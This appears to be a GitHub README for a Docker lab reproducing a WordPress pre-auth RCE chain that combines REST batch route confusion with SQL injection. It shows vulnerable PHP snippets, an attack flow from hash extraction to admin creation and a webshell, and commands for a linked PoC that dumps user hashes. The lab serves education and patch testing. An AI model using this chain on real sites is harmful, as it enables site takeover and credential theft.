mhassani97/cve-2026-63030-labwp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain
Pre-Authentication RCE in WordPress Core via REST API Batch Route Confusion + SQL Injection
wp2shell is a chain of two independently low-severity bugs in WordPress core that, when combined, allow an unauthenticated remote attacker to:
| Property | Detail |
|---|---|
| CVEs | CVE-2026-63030 + CVE-2026-60137 |
| CVSS | 9.8 Critical |
| Auth required | None (pre-authentication) |
| Attack vector | Network |
| Affected versions | WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1 |
| Patched versions | 6.9.5 and 7.0.2 (released July 17, 2026) |
File: wp-includes/rest-api/class-wp-rest-server.php
serve_batch_request_v1() maintains two parallel arrays: $matches[] for handlers and $validation[] for results. When a sub-request fails with a WP_Error (broken path), it is pushed into $validation[] but not into $matches[]. This creates a +1 index shift — sub-request i gets dispatched with the handler for sub-request i+1.
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
$responses[] = envelope();
continue; // $matches[] NOT pushed ← BUG
}
// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
$matches[] = null; // ← FIX: keeps arrays in sync
$responses[] = envelope();
continue;
}
File: wp-includes/class-wp-query.php
The author__not_in parameter expects an array of integers. When passed a string, implode() concatenates the raw value directly into the SQL WHERE clause — no escaping, no parameterization.
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';
// PATCHED (7.0.2)
$safe = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";
Unauthenticated Attacker
│
▼
POST /?rest_route=/batch/v1 ← Outer batch
sub-req 0: "///" → WP_Error → index shift (+1)
sub-req 1: POST /wp/v2/posts ← dispatched under BATCH handler
sub-req 2: POST /batch/v1 ← dummy
│
│ [Confusion #1 active]
▼
Inner batch (body of sub-req 1) ← schema never validated
inner 0: "///" → index shift (+1)
inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
dispatched under posts get_items()
│
│ [Confusion #2 active]
▼
WP_Query: author__not_in = raw string
│
▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
│
▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
│
▼
Crack hash OR crack-free oEmbed technique
│
▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE
| Tool | Download |
|---|---|
| Docker Desktop (Windows / macOS) | https://www.docker.com/products/docker-desktop |
| Docker Engine (Linux) | https://docs.docker.com/engine/install |
| Git | https://git-scm.com/downloads |
| Burp Suite Community (optional) | https://portswigger.net/burp/communitydownload |
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab
You will see these files:
cve-2026-63030-lab/
├── docker-compose.yml ← defines WordPress + MySQL containers
├── Dockerfile ← custom image with Apache fix + wp-cli
├── init.sh ← configures permalink after install
└── fix-htaccess.ps1 ← Windows helper (run if Apache returns 404)
docker compose up -d --build
This will:
Verify both containers are running:
docker compose ps
Expected output:
NAME STATUS
wp2shell-lab running
wp2shell-db running
Open http://localhost:9090 in your browser and fill in:
| Field | Suggested value |
|---|---|
| Site Title | CVE-2026-63030 |
| Username | admin |
| Password | any password |
[email protected] |
Click Install WordPress, then log in.
Run this once after installation:
Linux / macOS:
docker exec wp2shell-lab bash -c "
wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
wp rewrite flush --allow-root --path=/var/www/html
"
Windows PowerShell:
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"
Expected output:
Success: Rewrite structure set.
Success: Rewrite rules flushed.
.\fix-htaccess.ps1
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5
If you see a JSON response with "namespaces" — the lab is ready.
# Stop and remove everything including database
docker compose down -v
⚠️ For authorized security research and education only. Only use against systems you own or have explicit written permission to test.
The full exploitation chain (detection → SQLi → admin creation → webshell → RCE) is implemented in:
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt
# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090
# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090
Three files, fewer than 10 lines of PHP:
| File | Change |
|---|---|
class-wp-rest-server.php | $matches[] = null placeholder to keep arrays in sync |
class-wp-query.php | (array) cast + array_map('absint', ...) |
class-wp-rest-posts-controller.php | Same sanitization at the REST layer |
Update to WordPress 6.9.5 or 7.0.2 to remediate.
| Resource | Link |
|---|---|
| GitHub Advisory (CVE-2026-63030) | GHSA-ff9f-jf42-662q |
| GitHub Advisory (CVE-2026-60137) | GHSA-fpp7-x2x2-2mjf |
| Public PoC | https://github.com/Icex0/wp2shell-poc |
Made with ❤️ by Black Security Team
This repository is for educational purposes and authorized security research only. Do not test against systems you do not own or have explicit written permission to test.
